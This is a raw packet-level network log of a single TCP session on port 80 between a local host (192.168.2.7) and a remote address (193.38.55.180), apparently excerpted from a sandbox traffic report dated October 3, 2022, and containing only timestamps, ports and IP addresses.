Oct 3, 2022 17:35:32.898384094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898396969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898407936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898415089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898432016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898437977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898449898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898461103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898468018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898485899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898492098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898504019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898515940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898521900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898540020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898542881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898557901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898566961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898576975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898592949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898593903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898612022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898631096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898648977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898664951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898683071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898683071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898683071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898683071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898699999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898700953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898719072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898726940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898736000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898756027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898780107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.916734934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916774035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916793108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916810036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916827917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916846991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916865110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916882992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916901112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916912079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.916919947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916937113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916946888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.916954994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916960955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.916973114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.916977882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.916990995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917007923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917010069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917026997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917033911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917047024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917062044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917064905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917083025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917088032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917100906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917110920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917120934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917129040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917140007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917145967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917157888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917162895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917176962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917184114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917201996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917218924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917222977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917237043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917247057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917273045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917305946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917324066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917341948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917349100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917375088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917376041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917393923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917411089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917428017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917445898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917454004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917464972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917469978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917481899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917485952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917500019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917511940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917517900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917529106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917535067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917545080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917552948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917560101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917572021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917577028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917589903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917594910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917607069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917609930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917624950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917625904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917642117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917643070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917658091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917660952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917679071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917684078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917695999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917695999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917710066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917714119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917732000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917732954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917751074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917752028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.917767048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.917788029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.919399977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.919429064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.919508934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.921226978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.921319008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.922900915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.922924995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923018932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.923476934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923496962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923516035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923535109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923547983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.923554897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923573017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923573971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.923589945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923607111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923613071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.923624992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923643112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.923643112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.923662901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.923686981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924359083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924380064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924398899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924402952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924416065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924417019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924434900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924438000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924452066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924453974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924470901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924474001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924489975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924493074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924509048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924514055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924526930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924530983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924545050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924550056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924571037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924587965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924618006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924638033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924658060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924669027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924673080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924700975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924720049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924736977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924741030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924755096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924763918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924772024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924788952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924794912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924807072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924823046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924833059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924840927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924849033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924859047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924876928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.924880981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.924911976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.926556110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.926580906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.926632881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.927650928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.927692890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.927711964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.927730083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.927747965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.927762985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.927791119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.927808046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928091049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928131104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928150892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928164959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928184032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928184986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928201914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928205013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928220034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928237915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928240061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928256035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928256989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928276062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928281069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928294897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928297043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928313017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928314924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928328991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928330898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928348064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928363085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928416967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928457975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928500891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928505898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928519964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928560019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928579092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928615093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928651094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928685904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928704023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928730011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928749084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928767920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928781986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928808928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928847075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928865910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928884983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928884983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928903103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928910971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928920984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928926945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928939104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928944111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928957939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928961039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928975105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928976059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.928992987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.928997040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.929009914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.929011106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.929023981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.929029942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.929048061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.929064989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.929066896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.929084063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.929104090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.929126024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948074102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948107958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948127031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948149920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948168993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948189020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948195934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948209047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948225021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948227882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948246956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948259115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948266029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948272943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948285103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948299885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948303938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948316097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948333979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948342085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948368073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948396921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948401928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948417902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948422909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948443890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948446035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948458910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948465109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948486090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948487043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948507071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948509932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948523998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948528051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948549032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948549032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948569059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948570013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948590994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948597908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948609114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948611975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948632956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948635101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948646069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948653936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948673010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948673964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948692083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948694944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948710918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948714972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948734999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948734999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948755026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948756933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948776007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948776960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948796034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948798895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948817968 CEST	49703	80	192.168.2.7	193.38.55.180
